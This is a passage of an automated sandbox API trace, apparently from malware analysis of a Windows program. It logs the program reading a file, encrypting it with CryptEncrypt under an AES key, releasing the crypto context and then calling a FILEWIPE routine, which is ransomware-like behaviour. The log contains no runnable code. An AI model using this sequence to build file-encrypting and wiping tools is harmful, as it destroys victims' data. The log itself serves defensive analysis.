returned 1 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.387] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.387] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.387] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.387] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.390] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.390] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0xc3ff, lpOverlapped=0x0) returned 1 [0025.391] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.393] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.393] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.393] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.393] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.393] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.394] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.394] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.394] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.394] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064ca0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ca0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.394] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.394] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.395] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.395] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.395] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.395] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.395] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.395] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.395] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.395] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc3ff, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xc400) returned 1 [0025.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.396] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.397] CharLowerBuffW (in: lpsz="byte[50177]", cchLength=0xb | out: lpsz="byte[50177]") returned 0xb [0025.397] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.399] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.399] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417af20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0025.400] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0025.400] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6044cd0*, pdwDataLen=0xe8f3dfdf68*=0xc3ff, dwBufLen=0xc400 | out: pbData=0xe8f6044cd0*, pdwDataLen=0xe8f3dfdf68*=0xc400) returned 1 [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.401] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.401] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.401] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.402] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.408] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.408] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.408] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.408] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.408] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.408] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.408] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.408] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.409] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.409] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.409] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.409] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.409] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.409] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.414] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.414] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.414] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.414] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.414] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.414] CharLowerBuffW (in: lpsz="byte[50175]", cchLength=0xb | out: lpsz="byte[50175]") returned 0xb [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.415] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.415] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.415] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 